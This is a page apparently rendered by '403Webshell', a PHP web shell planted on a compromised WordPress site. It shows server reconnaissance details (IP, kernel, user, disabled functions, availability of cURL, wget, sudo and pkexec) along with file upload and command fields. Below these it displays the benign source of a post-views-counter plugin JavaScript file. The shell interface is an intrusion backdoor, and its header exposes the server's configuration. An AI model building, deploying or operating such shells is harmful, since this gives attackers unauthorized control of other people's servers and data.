403Webshell
Server IP : 104.21.38.3  /  Your IP : 162.158.108.159
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/wwwroot/punnapravayalar.org/wp-content/plugins/post-views-counter/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/punnapravayalar.org/wp-content/plugins/post-views-counter/js/admin-quick-edit.js
( function( $ ) {

	// ready event
	$( function() {
		// we create a copy of the WP inline edit post function
		var wpInlineEdit = inlineEditPost.edit;

		// and then we overwrite the function with our own code
		inlineEditPost.edit = function( id ) {
			// call the original WP edit function, we don't want to leave WordPress hanging
			wpInlineEdit.apply( this, arguments );

			// get the post ID
			var postId = 0;

			if ( typeof ( id ) == 'object' )
				postId = parseInt( this.getId( id ) );

			if ( postId > 0 ) {
				// define the edit row
				var editRow = $( '#edit-' + postId );
				var postRow = $( '#post-' + postId );

				// get the data
				var postViews = $( '.column-post_views', postRow ).text();

				// populate the data
				$( ':input[name="post_views"]', editRow ).val( postViews );
				$( ':input[name="current_post_views"]', editRow ).val( postViews );
			}

			return false;
		};

		$( document ).on( 'click', '#bulk_edit', function() {
			// define the bulk edit row
			var bulkRow = $( '#bulk-edit' );

			// get the selected post ids that are being edited
			var postIds = [];

			// at least wp 5.9?
			if ( pvcArgsQuickEdit.wpVersion59 ) {
				bulkRow.find( '#bulk-titles-list' ).children( '.ntdelitem' ).each( function() {
					postIds.push( $( this ).find( 'button' ).attr( 'id' ).replace( /[^0-9]/i, '' ) );
				} );
			} else {
				bulkRow.find( '#bulk-titles' ).children().each( function() {
					postIds.push( $( this ).attr( 'id' ).replace( /^(ttle)/i, '' ) );
				} );
			}

			// get the data
			var postViews = bulkRow.find( 'input[name="post_views"]' ).val();

			// save the data
			$.ajax( {
				url: ajaxurl, // this is a variable that WordPress has already defined for us
				type: 'post',
				async: false,
				cache: false,
				data: {
					action: 'save_bulk_post_views', // this is the name of our WP AJAX function that we'll set up next
					post_ids: postIds, // and these are the 2 parameters we're passing to our function
					post_views: postViews,
					current_post_views: postViews,
					nonce: pvcArgsQuickEdit.nonce
				}
			} );
		} );
	} );

} )( jQuery );

Youez - 2016 - github.com/yon3zu
LinuXploit